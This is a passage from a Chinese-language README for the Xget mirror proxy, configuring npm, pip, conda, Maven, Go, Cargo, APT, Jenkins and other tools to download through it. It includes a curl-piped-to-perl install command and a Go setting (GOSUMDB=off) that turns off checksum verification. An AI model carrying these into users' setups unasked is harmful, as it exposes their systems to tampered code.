return_tensors='pt')\n# chat_history_ids = model.generate(new_user_input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id)\n# print(tokenizer.decode(chat_history_ids[:, new_user_input_ids.shape[-1]:][0], skip_special_tokens=True))\n```\n\n### Civitai AI 模型平台\n\n```python\nimport requests\n\n# 設定 API 基礎 URL 使用 Xget\nbase_url = \"https://xget.xi-xu.me/civitai\"\n\n# 獲取模型資訊\ndef get_model_info(model_id):\n    \"\"\"獲取 Civitai 模型資訊\"\"\"\n    url = f\"{base_url}/api/v1/models/{model_id}\"\n    response = requests.get(url)\n    return response.json()\n\n# 下載模型\ndef download_model(model_version_id, output_path):\n    \"\"\"下載 Civitai 模型檔案\"\"\"\n    download_url = f\"{base_url}/api/download/models/{model_version_id}\"\n\n    print(f\"正在下載模型版本 {model_version_id}...\")\n\n    response = requests.get(download_url, stream=True)\n    response.raise_for_status()\n\n    with open(output_path, 'wb') as f:\n        for chunk in response.iter_content(chunk_size=8192):\n            f.write(chunk)\n\n    print(f\"模型已下載到: {output_path}\")\n\n# 使用範例\nmodel_id = 7240  # 範例模型 ID\nmodel_info = get_model_info(model_id)\nprint(f\"模型名稱: {model_info['name']}\")\n\n# 下載第一個模型版本\nif model_info['modelVersions']:\n    version_id = model_info['modelVersions'][0]['id']\n    download_model(version_id, f\"model_{version_id}.safetensors\")\n```\n\n### npm 軟體包管理加速\n\n#### 配置 npm 使用 Xget 鏡像\n\n```bash\n# 臨時使用 Xget 鏡像\nnpm install --registry https://xget.xi-xu.me/npm/\n\n# 全域配置 npm 鏡像\nnpm config set registry https://xget.xi-xu.me/npm/\n\n# 驗證配置\nnpm config get registry\n```\n\n#### 配置 Bun 使用 Xget 鏡像\n\n```toml\n# bunfig.toml（專案級）或 ~/.bunfig.toml（全域）\n[install]\nregistry = \"https://xget.xi-xu.me/npm/\"\n```\n\n```bash\n# 使用 Bun 安裝依賴項\nbun install\n\n# Bun 也支援 .npmrc，可直接重用既有的 npm 鏡像配置\necho \"registry=https://xget.xi-xu.me/npm/\" > .npmrc\nbun install\n```\n\n#### 在專案中使用（npm / Bun）\n\n```bash\n# 在 .npmrc 檔案中配置專案級鏡像（npm / Bun 可重用）\necho \"registry=https://xget.xi-xu.me/npm/\" > .npmrc\n\n# 使用 npm 安裝依賴項\nnpm install\n\n# 使用 Bun 安裝依賴項\nbun install\n```\n\n### Python 軟體包管理加速\n\n#### 配置 pip 使用 Xget 鏡像\n\n```bash\n# 臨時使用 Xget 鏡像\npip install requests -i https://xget.xi-xu.me/pypi/simple/\n\n# 全域配置 pip 鏡像\npip config set global.index-url https://xget.xi-xu.me/pypi/simple/\npip config set global.trusted-host xget.xi-xu.me\n\n# 驗證配置\npip config list\n```\n\n#### 在專案中使用\n\n```bash\n# 建立 pip.conf 檔案（Linux/macOS）\nmkdir -p ~/.pip\ncat > ~/.pip/pip.conf << EOF\n[global]\nindex-url = https://xget.xi-xu.me/pypi/simple/\ntrusted-host = xget.xi-xu.me\nEOF\n\n# 或在專案根目錄建立 pip.conf\ncat > pip.conf << EOF\n[global]\nindex-url = https://xget.xi-xu.me/pypi/simple/\ntrusted-host = xget.xi-xu.me\nEOF\n\n# 使用設定檔安裝\npip install -r requirements.txt --config-file pip.conf\n```\n\n#### 在 requirements.txt 中指定鏡像\n\n```txt\n# requirements.txt\n--index-url https://xget.xi-xu.me/pypi/simple/\n--trusted-host xget.xi-xu.me\n\nrequests>=2.25.0\nnumpy>=1.21.0\npandas>=1.3.0\nmatplotlib>=3.4.0\n```\n\n### conda 軟體包管理加速\n\n#### 配置 conda 使用 Xget 鏡像\n\n```bash\n# 配置預設頻道鏡像\nconda config --add default_channels https://xget.xi-xu.me/conda/pkgs/msys2\nconda config --add default_channels https://xget.xi-xu.me/conda/pkgs/r\nconda config --add default_channels https://xget.xi-xu.me/conda/pkgs/main\n\n# 配置所有社群頻道鏡像（推薦）\nconda config --set channel_alias https://xget.xi-xu.me/conda/community\n\n# 或配置特定社群頻道\nconda config --add channels https://xget.xi-xu.me/conda/community/conda-forge\nconda config --add channels https://xget.xi-xu.me/conda/community/bioconda\n\n# 設定頻道優先順序\nconda config --set channel_priority strict\n\n# 驗證配置\nconda config --show\n```\n\n#### 在 .condarc 中配置\n\n.condarc 檔案可以放在使用者主目錄（`~/.condarc`）或專案根目錄下：\n\n```yaml\ndefault_channels:\n  - https://xget.xi-xu.me/conda/pkgs/main\n  - https://xget.xi-xu.me/conda/pkgs/r\n  - https://xget.xi-xu.me/conda/pkgs/msys2\nchannel_alias: https://xget.xi-xu.me/conda/community\nchannel_priority: strict\nshow_channel_urls: true\n```\n\n#### 使用環境檔案\n\n環境檔案中可以直接指定完整的鏡像 URL：\n\n```yaml\n# environment.yml\nname: myproject\nchannels:\n  - https://xget.xi-xu.me/conda/pkgs/main\n  - https://xget.xi-xu.me/conda/pkgs/r\n  - https://xget.xi-xu.me/conda/community/bioconda\n  - https://xget.xi-xu.me/conda/community/conda-forge\ndependencies:\n  - python=3.11\n  - numpy>=1.24.0\n  - pandas>=2.0.0\n  - matplotlib>=3.7.0\n  - scipy>=1.10.0\n  - pip\n  - pip:\n      - requests>=2.28.0\n```\n\n```bash\n# 使用環境檔案建立環境\nconda env create -f environment.yml\n\n# 更新環境\nconda env update -f environment.yml\n```\n\n### Maven 軟體包管理加速\n\n#### 配置 Maven 使用 Xget 鏡像\n\n```xml\n<!-- 在 ~/.m2/settings.xml 中配置 Maven 鏡像 -->\n<settings>\n  <mirrors>\n    <mirror>\n      <id>xget-maven-central</id>\n      <mirrorOf>central</mirrorOf>\n      <name>Xget Maven Central Mirror</name>\n      <url>https://xget.xi-xu.me/maven/maven2</url>\n    </mirror>\n  </mirrors>\n</settings>\n```\n\n#### 在專案中使用\n\n```xml\n<!-- 在 pom.xml 中配置專案級鏡像 -->\n<project>\n  <repositories>\n    <repository>\n      <id>xget-maven-central</id>\n      <name>Xget Maven Central</name>\n      <url>https://xget.xi-xu.me/maven/maven2</url>\n    </repository>\n  </repositories>\n\n  <pluginRepositories>\n    <pluginRepository>\n      <id>xget-maven-central</id>\n      <name>Xget Maven Central</name>\n      <url>https://xget.xi-xu.me/maven/maven2</url>\n    </pluginRepository>\n  </pluginRepositories>\n</project>\n```\n\n```bash\n# 使用命令列指定鏡像\nmvn clean install -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2\n\n# 下載特定依賴項\nmvn dependency:get -Dartifact=org.springframework:spring-core:5.3.21 \\\n  -DremoteRepositories=https://xget.xi-xu.me/maven/maven2\n```\n\n### Apache 軟體下載加速\n\n#### 使用 Xget 下載 Apache 軟體\n\n```bash\n# 下載 Apache Kafka\nwget https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz\n\n# 下載 Apache Maven\ncurl -L -O https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz\n\n# 下載 Apache Spark\naria2c https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz\n\n# 下載 Apache Hadoop\nwget https://xget.xi-xu.me/apache/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz\n\n# 下載 Apache Flink\ncurl -L -O https://xget.xi-xu.me/apache/flink/flink-1.18.1/flink-1.18.1-bin-scala_2.12.tgz\n```\n\n#### 常用 Apache 軟體下載\n\n```bash\n# 大數據相關\nwget https://xget.xi-xu.me/apache/hive/hive-3.1.3/apache-hive-3.1.3-bin.tar.gz\nwget https://xget.xi-xu.me/apache/hbase/2.5.7/hbase-2.5.7-bin.tar.gz\nwget https://xget.xi-xu.me/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz\n\n# Web 伺服器\nwget https://xget.xi-xu.me/apache/httpd/httpd-2.4.59.tar.gz\nwget https://xget.xi-xu.me/apache/tomcat/tomcat-10/v10.1.19/bin/apache-tomcat-10.1.19.tar.gz\n\n# 開發工具\nwget https://xget.xi-xu.me/apache/ant/1.10.14/apache-ant-1.10.14-bin.tar.gz\nwget https://xget.xi-xu.me/apache/netbeans/netbeans/20/netbeans-20-bin.zip\n```\n\n### Gradle 軟體包管理加速\n\n#### 配置 Gradle 使用 Xget 鏡像\n\n```gradle\n// 在 build.gradle 中配置 Gradle 鏡像\nrepositories {\n    maven {\n        url 'https://xget.xi-xu.me/maven/maven2'\n    }\n    gradlePluginPortal {\n        url 'https://xget.xi-xu.me/gradle/m2'\n    }\n}\n\n// 配置外掛程式儲存庫\npluginManagement {\n    repositories {\n        maven {\n            url 'https://xget.xi-xu.me/gradle/m2'\n        }\n        gradlePluginPortal()\n    }\n}\n```\n\n#### 全域配置\n\n```gradle\n// 在 ~/.gradle/init.gradle 中配置全域鏡像\nallprojects {\n    repositories {\n        maven {\n            url 'https://xget.xi-xu.me/maven/maven2'\n        }\n    }\n}\n\nsettingsEvaluated { settings ->\n    settings.pluginManagement {\n        repositories {\n            maven {\n                url 'https://xget.xi-xu.me/gradle/m2'\n            }\n            gradlePluginPortal()\n        }\n    }\n}\n```\n\n```bash\n# 使用命令列指定鏡像\ngradle build -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2\n\n# 重新整理依賴項\ngradle build --refresh-dependencies\n```\n\n### Homebrew 軟體包管理加速\n\n#### 配置 Homebrew 使用 Xget 鏡像\n\n```bash\n# 設定 Homebrew 環境變數使用 Xget 鏡像\nexport HOMEBREW_BREW_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/brew.git\"\nexport HOMEBREW_CORE_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/homebrew-core.git\"\nexport HOMEBREW_API_DOMAIN=\"https://xget.xi-xu.me/homebrew/api\"\nexport HOMEBREW_BOTTLE_DOMAIN=\"https://xget.xi-xu.me/homebrew/bottles\"\n\n# 更新 Homebrew\nbrew update\n```\n\n#### 長期配置\n\n```bash\n# 為 bash 使用者新增到 ~/.bash_profile\necho 'export HOMEBREW_BREW_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/brew.git\"' >> ~/.bash_profile\necho 'export HOMEBREW_CORE_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/homebrew-core.git\"' >> ~/.bash_profile\necho 'export HOMEBREW_API_DOMAIN=\"https://xget.xi-xu.me/homebrew/api\"' >> ~/.bash_profile\necho 'export HOMEBREW_BOTTLE_DOMAIN=\"https://xget.xi-xu.me/homebrew/bottles\"' >> ~/.bash_profile\n\n# 為 zsh 使用者新增到 ~/.zprofile\necho 'export HOMEBREW_BREW_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/brew.git\"' >> ~/.zprofile\necho 'export HOMEBREW_CORE_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/homebrew-core.git\"' >> ~/.zprofile\necho 'export HOMEBREW_API_DOMAIN=\"https://xget.xi-xu.me/homebrew/api\"' >> ~/.zprofile\necho 'export HOMEBREW_BOTTLE_DOMAIN=\"https://xget.xi-xu.me/homebrew/bottles\"' >> ~/.zprofile\n```\n\n#### 在專案中使用\n\n```bash\n# 安裝軟體包\nbrew install git\n\n# 搜尋軟體包\nbrew search python\n\n# 更新軟體包\nbrew upgrade\n\n# 檢視已安裝軟體包\nbrew list\n```\n\n#### 驗證鏡像配置\n\n```bash\n# 檢查 Homebrew 配置\nbrew config\n\n# 檢視環境變數\necho $HOMEBREW_API_DOMAIN\necho $HOMEBREW_BOTTLE_DOMAIN\n```\n\n### Ruby 軟體包管理加速\n\n#### 配置 RubyGems 使用 Xget 鏡像\n\n```bash\n# 臨時使用 Xget 鏡像\ngem install rails --source https://xget.xi-xu.me/rubygems/\n\n# 全域配置 RubyGems 鏡像\ngem sources --add https://xget.xi-xu.me/rubygems/\ngem sources --remove https://rubygems.org/\n\n# 驗證配置\ngem sources -l\n```\n\n#### 在專案中使用\n\n```ruby\n# 在 Gemfile 中配置專案級鏡像\nsource 'https://xget.xi-xu.me/rubygems/'\n\ngem 'rails', '~> 7.0.0'\ngem 'pg', '~> 1.1'\ngem 'puma', '~> 5.0'\n```\n\n```bash\n# 使用 bundle 安裝\nbundle config mirror.https://rubygems.org https://xget.xi-xu.me/rubygems/\nbundle install\n```\n\n### R 軟體包管理加速\n\n#### 配置 R 使用 Xget CRAN 鏡像\n\n```r\n# 在 R 中臨時使用 Xget CRAN 鏡像\ninstall.packages(\"ggplot2\", repos = \"https://xget.xi-xu.me/cran/\")\n\n# 全域配置 CRAN 鏡像\noptions(repos = c(CRAN = \"https://xget.xi-xu.me/cran/\"))\n\n# 驗證配置\ngetOption(\"repos\")\n```\n\n#### 在 .Rprofile 中配置\n\n```r\n# 在使用者主目錄的 .Rprofile 檔案中配置全域鏡像\noptions(repos = c(\n  CRAN = \"https://xget.xi-xu.me/cran/\",\n  BioCsoft = \"https://bioconductor.org/packages/release/bioc\",\n  BioCann = \"https://bioconductor.org/packages/release/data/annotation\",\n  BioCexp = \"https://bioconductor.org/packages/release/data/experiment\"\n))\n\n# 設定下載方法\noptions(download.file.method = \"libcurl\")\n```\n\n#### 在專案中使用\n\n```r\n# 在專案的 renv.lock 或指令碼中指定鏡像\nrenv::init()\nrenv::settings$repos.override(c(CRAN = \"https://xget.xi-xu.me/cran/\"))\n\n# 安裝包\ninstall.packages(c(\"dplyr\", \"ggplot2\", \"tidyr\"))\n\n# 或使用 pak 軟體包管理器\npak::pkg_install(\"tidyverse\", repos = \"https://xget.xi-xu.me/cran/\")\n```\n\n```bash\n# 在命令列中使用 R 指令碼安裝包\nRscript -e \"options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')); install.packages('ggplot2')\"\n\n# 批次安裝包\nRscript -e \"\noptions(repos = c(CRAN = 'https://xget.xi-xu.me/cran/'))\npackages <- c('dplyr', 'ggplot2', 'tidyr', 'readr')\ninstall.packages(packages)\n\"\n```\n\n### Perl 軟體包管理加速\n\n#### 配置 CPAN 使用 Xget 鏡像\n\n```bash\n# 配置 CPAN 使用 Xget 鏡像\ncpan o conf urllist push https://xget.xi-xu.me/cpan/\ncpan o conf commit\n\n# 或者直接編輯設定檔 ~/.cpan/CPAN/MyConfig.pm\n# 新增：\n# 'urllist' => [q[https://xget.xi-xu.me/cpan/]],\n```\n\n#### 使用 cpanm 安裝模組\n\n```bash\n# 安裝 cpanm（如果沒有）\ncurl -L https://cpanmin.us | perl - --sudo App::cpanminus\n\n# 使用 Xget 鏡像安裝模組\ncpanm --mirror https://xget.xi-xu.me/cpan/ DBI\ncpanm --mirror https://xget.xi-xu.me/cpan/ Mojolicious\n\n# 從 Makefile.PL 安裝依賴項\ncpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .\n```\n\n#### 在專案中使用\n\n```perl\n# 在 cpanfile 中列出依賴項\nrequires 'DBI';\nrequires 'Mojolicious';\nrequires 'JSON';\n\n# 然後使用 Xget 鏡像安裝\ncpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .\n```\n\n### TeX/LaTeX 軟體包管理加速\n\n#### 配置 TeX Live 使用 Xget CTAN 鏡像\n\n```bash\n# 配置 tlmgr 使用 Xget CTAN 鏡像\ntlmgr option repository https://xget.xi-xu.me/ctan/systems/texlive/tlnet\n\n# 更新軟體包資料庫\ntlmgr update --self --all\n\n# 安裝軟體包\ntlmgr install beamer\ntlmgr install tikz\n```\n\n#### 配置 MiKTeX 使用 Xget 鏡像\n\n```bash\n# Windows MiKTeX 配置\nmpm --set-repository=https://xget.xi-xu.me/ctan/systems/win32/miktex\n\n# 更新軟體包資料庫\nmpm --update-db\n\n# 安裝軟體包\nmpm --install=beamer\nmpm --install=pgf\n```\n\n#### 在專案中使用\n\n```bash\n# LaTeX 文件編譯時自動安裝缺失軟體包\npdflatex --shell-escape document.tex\n\n# 或手動安裝特定軟體包\ntlmgr install caption\ntlmgr install subcaption\ntlmgr install algorithm2e\n```\n\n### Go 模組加速\n\n#### 配置 Go 使用 Xget 代理\n\n```bash\n# 配置 Go 模組代理\nexport GOPROXY=https://xget.xi-xu.me/golang,direct\nexport GOSUMDB=off\n\n# 或者永久配置\ngo env -w GOPROXY=https://xget.xi-xu.me/golang,direct\ngo env -w GOSUMDB=off\n\n# 驗證配置\ngo env GOPROXY\n```\n\n#### 在專案中使用\n\n```bash\n# 下載依賴項\ngo mod download\n\n# 更新依賴項\ngo get -u ./...\n\n# 清理模組快取\ngo clean -modcache\n```\n\n### NuGet 軟體包管理加速\n\n#### 配置 NuGet 使用 Xget 鏡像\n\n```bash\n# 新增 Xget 軟體包來源\ndotnet nuget add source https://xget.xi-xu.me/nuget/v3/index.json -n xget\n\n# 列出軟體包來源\ndotnet nuget list source\n\n# 在專案中使用\ndotnet restore --source https://xget.xi-xu.me/nuget/v3/index.json\n```\n\n#### 在 NuGet.Config 中配置\n\n```xml\n<!-- NuGet.Config -->\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n  <packageSources>\n    <add key=\"xget\" value=\"https://xget.xi-xu.me/nuget/v3/index.json\" />\n  </packageSources>\n</configuration>\n```\n\n### Rust 軟體包管理加速\n\n#### 配置 Cargo 使用 Xget 鏡像\n\n```bash\n# 配置 Cargo 使用 Xget 鏡像（在 ~/.cargo/config.toml 中）\nmkdir -p ~/.cargo\ncat >> ~/.cargo/config.toml << EOF\n[source.crates-io]\nreplace-with = \"xget\"\n\n[source.xget]\nregistry = \"https://xget.xi-xu.me/crates/\"\nEOF\n\n# 驗證配置\ncargo search serde\n```\n\n#### 在專案中使用\n\n```toml\n# 在 Cargo.toml 中可以正常使用依賴項\n[dependencies]\nserde = \"1.0\"\ntokio = \"1.0\"\nreqwest = \"0.11\"\n```\n\n```bash\n# 建置專案時會自動使用 Xget\ncargo build\n\n# 更新依賴項\ncargo update\n\n# 新增新依賴項\ncargo add clap\n```\n\n### PHP 軟體包管理加速\n\n#### 配置 Composer 使用 Xget 鏡像\n\n```bash\n# 全域配置 Composer 鏡像\ncomposer config -g repo.packagist composer https://xget.xi-xu.me/packagist/\n\n# 專案級配置\ncomposer config repo.packagist composer https://xget.xi-xu.me/packagist/\n\n# 驗證配置\ncomposer config -l\n```\n\n#### 在 composer.json 中配置\n\n```json\n{\n  \"repositories\": [\n    {\n      \"type\": \"composer\",\n      \"url\": \"https://xget.xi-xu.me/packagist/\"\n    }\n  ],\n  \"require\": {\n    \"symfony/console\": \"^6.0\",\n    \"guzzlehttp/guzzle\": \"^7.0\"\n  }\n}\n```\n\n### Flathub 儲存庫鏡像\n\n#### 配置 Flatpak / Flathub 使用 Xget 鏡像\n\n```bash\n# 如果之前從未加入過 Flathub，請先匯入官方描述檔，\n# 讓 Flatpak 信任 Flathub 的簽章金鑰。\nflatpak remote-add --if-not-exists flathub \\\n  https://dl.flathub.org/repo/flathub.flatpakrepo\n\n# 然後將現有的 Flathub 遠端儲存庫改寫到 Xget 鏡像\nflatpak remote-modify flathub \\\n  --url=https://xget.xi-xu.me/flathub/repo/\n\n# 需要時恢復預設上游位址\nflatpak remote-modify flathub \\\n  --url=https://dl.flathub.org/repo/\n```\n\nXget 鏡像的是 Flathub 的 OSTree 儲存庫端點。依照目前 Flatpak 用戶端的實際行為，直接匯入鏡像\n`.flatpakrepo`\n描述檔，或直接新增鏡像儲存庫 URL，仍可能回退到上游 Flathub 位址，或因未匯入簽章金鑰而失敗，因此較可靠的做法是先加入官方 Flathub，再透過\n`flatpak remote-modify ... --url=...`\n改寫遠端位址。若你使用系統層級遠端儲存庫，請在相同命令前加上 `sudo`。\n\n#### 支援的 Flathub 服務\n\n```url\n# OSTree 儲存庫中繼資料\nhttps://xget.xi-xu.me/flathub/repo/config\nhttps://xget.xi-xu.me/flathub/repo/summary\nhttps://xget.xi-xu.me/flathub/repo/summary.sig\nhttps://xget.xi-xu.me/flathub/repo/summary.idx\nhttps://xget.xi-xu.me/flathub/repo/summaries/...\n\n# Flatpak 遠端儲存庫描述檔\nhttps://xget.xi-xu.me/flathub/repo/flathub.flatpakrepo\n\n# 應用程式引用描述檔\nhttps://xget.xi-xu.me/flathub/repo/appstream/[應用程式 ID].flatpakref\n\n# 儲存庫物件與靜態增量\nhttps://xget.xi-xu.me/flathub/repo/objects/...\nhttps://xget.xi-xu.me/flathub/repo/deltas/...\nhttps://xget.xi-xu.me/flathub/repo/delta-indexes/...\n```\n\n#### 使用範例\n\n```bash\n# 確認儲存下來的遠端儲存庫 URL 已指向 Xget\nflatpak remotes --show-details\n\n# 檢視遠端儲存庫內容\nflatpak remote-ls flathub\n\n# 在改寫 Flathub 遠端儲存庫後安裝應用程式\nflatpak install flathub org.gnome.gedit\n\n# 直接透過重寫後的 .flatpakref 安裝\nflatpak install --from \\\n  https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref\n\n# 疑難排解時輸出 libcurl HTTP 偵錯資訊\nOSTREE_DEBUG_HTTP=1 flatpak remote-ls flathub\n\n# 更新已安裝的應用程式與執行時\nflatpak update\n```\n\n### Linux 發行版加速\n\n#### Debian/Ubuntu APT 配置\n\n```bash\n# 備份原始軟體源列表\nsudo cp /etc/apt/sources.list /etc/apt/sources.list.backup\n\n# 配置 Debian 鏡像\necho \"deb https://xget.xi-xu.me/debian/debian bookworm main\" | sudo tee /etc/apt/sources.list\necho \"deb https://xget.xi-xu.me/debian/debian-security bookworm-security main\" | sudo tee -a /etc/apt/sources.list\n\n# 配置 Ubuntu 鏡像\necho \"deb https://xget.xi-xu.me/ubuntu/ubuntu jammy main restricted universe multiverse\" | sudo tee /etc/apt/sources.list\necho \"deb https://xget.xi-xu.me/ubuntu/ubuntu jammy-updates main restricted universe multiverse\" | sudo tee -a /etc/apt/sources.list\n\n# 更新軟體包列表\nsudo apt update\n```\n\n#### Fedora DNF 配置\n\n```bash\n# 配置 Fedora 鏡像\nsudo sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/fedora*.repo\nsudo sed -i 's|^#baseurl=http://download.example/pub/fedora/linux|baseurl=https://xget.xi-xu.me/fedora/pub/fedora/linux|g' /etc/yum.repos.d/fedora*.repo\n\n# 更新軟體包快取\nsudo dnf makecache\n```\n\n#### Rocky Linux DNF 配置\n\n```bash\n# 配置 Rocky Linux 鏡像\nsudo sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/rocky*.repo\nsudo sed -i 's|^#baseurl=http://dl.rockylinux.org|baseurl=https://xget.xi-xu.me/rocky|g' /etc/yum.repos.d/rocky*.repo\n\n# 更新軟體包快取\nsudo dnf makecache\n```\n\n#### openSUSE Zypper 配置\n\n```bash\n# 配置 openSUSE Leap 鏡像\nsudo zypper mr -d repo-oss\nsudo zypper ar -f https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/ repo-oss-xget\n\n# 配置 openSUSE Tumbleweed 鏡像\nsudo zypper mr -d repo-oss\nsudo zypper ar -f https://xget.xi-xu.me/opensuse/tumbleweed/repo/oss/ repo-oss-xget\n\n# 重新整理軟體源\nsudo zypper refresh\n\n# 驗證配置\nsudo zypper lr -u\n```\n\n#### Arch Linux Pacman 配置\n\n```bash\n# 備份原始鏡像列表\nsudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.backup\n\n# 配置 Arch Linux 鏡像\necho 'Server = https://xget.xi-xu.me/arch/$repo/os/$arch' | sudo tee /etc/pacman.d/mirrorlist\n\n# 更新軟體包資料庫\nsudo pacman -Sy\n```\n\n### 學術資源加速\n\n#### arXiv 論文下載\n\n```bash\n# 下載 arXiv 論文 PDF\nwget https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf\n\n# 下載論文原始碼\ncurl -L -O https://xget.xi-xu.me/arxiv/e-print/2301.07041\n\n# 批次下載多篇論文\nfor id in 2301.07041 2302.13971 2303.08774; do\n  wget https://xget.xi-xu.me/arxiv/pdf/${id}.pdf\ndone\n```\n\n#### 在學術工具中使用\n\n```python\n# 在 Python 中使用 arXiv 加速下載\nimport requests\n\ndef download_arxiv_paper(arxiv_id, output_path):\n    url = f\"https://xget.xi-xu.me/arxiv/pdf/{arxiv_id}.pdf\"\n    response = requests.get(url)\n\n    if response.status_code == 200:\n        with open(output_path, 'wb') as f:\n            f.write(response.content)\n        print(f\"Downloaded {arxiv_id} to {output_path}\")\n    else:\n        print(f\"Failed to download {arxiv_id}\")\n\n# 下載論文\ndownload_arxiv_paper(\"2301.07041\", \"attention_is_all_you_need.pdf\")\n```\n\n### F-Droid 儲存庫鏡像\n\n#### 配置 F-Droid 用戶端使用 Xget 鏡像\n\n1. 在 F-Droid 應用程式中進入**設定** → **儲存庫**\n2. 點擊 **+** 後輸入儲存庫 URL：`https://xget.xi-xu.me/fdroid/repo`\n3. 點擊**新增**後再點擊**新增鏡像**\n\n#### 支援的 F-Droid 服務\n\n```url\n# F-Droid 應用程式 APK 下載\nhttps://xget.xi-xu.me/fdroid/repo/[軟體包名]_[版本號].apk\n\n# F-Droid 儲存庫索引\nhttps://xget.xi-xu.me/fdroid/repo/index-v1.jar\n\n# F-Droid 應用程式圖示\nhttps://xget.xi-xu.me/fdroid/repo/icons-640/[軟體包名].[版本號].png\n\n# F-Droid API 介面\nhttps://xget.xi-xu.me/fdroid/api/v1/packages/[軟體包名]\n```\n\n#### 使用範例\n\n```bash\n# 直接下載 F-Droid 用戶端 APK\nwget https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk\n\n# 下載其他開源應用程式\ncurl -L -O https://xget.xi-xu.me/fdroid/repo/org.mozilla.fennec_fdroid_1014000.apk\n\n# 獲取應用程式資訊\ncurl https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid\n```\n\n#### 批次應用程式管理\n\n```bash\n# 建立應用程式下載指令碼\ncat > download_fdroid_apps.sh << 'EOF'\n#!/bin/bash\n\n# 定義要下載的應用程式列表\napps=(\n    \"org.fdroid.fdroid_1016050.apk\"\n    \"org.mozilla.fennec_fdroid_1014000.apk\"\n    \"com.termux_1180.apk\"\n    \"org.videolan.vlc_13050399.apk\"\n)\n\n# 建立下載目錄\nmkdir -p fdroid_apps\n\n# 批次下載應用程式\nfor app in \"${apps[@]}\"; do\n    echo \"正在下載: $app\"\n    wget -P fdroid_apps \"https://xget.xi-xu.me/fdroid/repo/$app\"\ndone\n\necho \"所有應用程式下載完成！\"\nEOF\n\nchmod +x download_fdroid_apps.sh\n./download_fdroid_apps.sh\n```\n\n#### 開發者整合\n\n對於 Android 開發者，可以在建置指令碼中整合 F-Droid 鏡像：\n\n```gradle\n// 在 build.gradle 中配置 F-Droid 依賴項檢查\ntask checkFDroidAvailability {\n    doLast {\n        def fdroidUrl = \"https://xget.xi-xu.me/fdroid/api/v1/packages/${project.name}\"\n        try {\n            def connection = new URL(fdroidUrl).openConnection()\n            connection.requestMethod = 'GET'\n            def responseCode = connection.responseCode\n            if (responseCode == 200) {\n                println \"應用程式在 F-Droid 上可用: $fdroidUrl\"\n            }\n        } catch (Exception e) {\n            println \"檢查 F-Droid 可用性時出錯: ${e.message}\"\n        }\n    }\n}\n```\n\n### Jenkins 外掛程式下載\n\n#### 使用 Xget 加速 Jenkins 外掛程式下載和更新\n\n支援 Jenkins 更新中心和外掛程式下載，相容清華鏡像等國內鏡像源的配置方式。\n\n#### Jenkins 更新中心配置\n\n##### 方法一：在 Jenkins Web 介面配置\n\n1. 登入 Jenkins 管理介面\n2. 進入 **Manage Jenkins** → **Plugins** → **Advanced**\n3. 在 **Update Site** 部分，將 URL 更改為\n   `https://xget.xi-xu.me/jenkins/update-center.json`\n4. 點擊 **Submit** 儲存配置\n\n##### 方法二：修改設定檔\n\n```bash\n# 在 Jenkins 伺服器上修改更新中心設定檔\n# 預設位置：$JENKINS_HOME/hudson.model.UpdateCenter.xml\nsudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml\n\n# 將 URL 改為：\n# <url>https://xget.xi-xu.me/jenkins/update-center.json</url>\n\n# 重啟 Jenkins 服務\nsudo systemctl restart jenkins\n```\n\n#### 支援的 Jenkins 服務\n\n```url\n# Jenkins 更新中心 JSON\nhttps://xget.xi-xu.me/jenkins/update-center.json\n\n# Jenkins 更新中心（實際 JSON 格式）\nhttps://xget.xi-xu.me/jenkins/update-center.actual.json\n\n# Jenkins 外掛程式下載\nhttps://xget.xi-xu.me/jenkins/download/plugins/[外掛程式名]/[版本]/[外掛程式名].hpi\n\n# 實驗性外掛程式更新中心\nhttps://xget.xi-xu.me/jenkins/experimental/update-center.json\n```\n\n#### 使用範例\n\n```bash\n# 下載 Maven 外掛程式\nwget https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi\n\n# 下載 Git 外掛程式\ncurl -L -O https://xget.xi-xu.me/jenkins/download/plugins/git/5.2.1/git.hpi\n\n# 獲取更新中心資訊\ncurl https://xget.xi-xu.me/jenkins/update-center.json\n\n# 批次下載常用外掛程式\ncat > download_jenkins_plugins.sh << 'EOF'\n#!/bin/bash\n\n# 定義要下載的外掛程式列表\nplugins=(\n    \"git:5.2.1\"\n    \"maven-plugin:3.27\"\n    \"workflow-aggregator:596.v8c21c963d92d\"\n    \"blueocean:1.27.8\"\n    \"docker-workflow:563.vd5d2e5c4007f\"\n)\n\n# 建立外掛程式下載目錄\nmkdir -p jenkins_plugins\n\n# 批次下載外掛程式\nfor plugin in \"${plugins[@]}\"; do\n    name=$(echo $plugin | cut -d: -f1)\n    version=$(echo $plugin | cut -d: -f2)\n    echo \"正在下載外掛程式: $name v$version\"\n    wget -P jenkins_plugins \"https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi\"\ndone\n\necho \"所有外掛程式下載完成！\"\nEOF\n\nchmod +x download_jenkins_plugins.sh\n./download_jenkins_plugins.sh\n```\n\n#### 離線 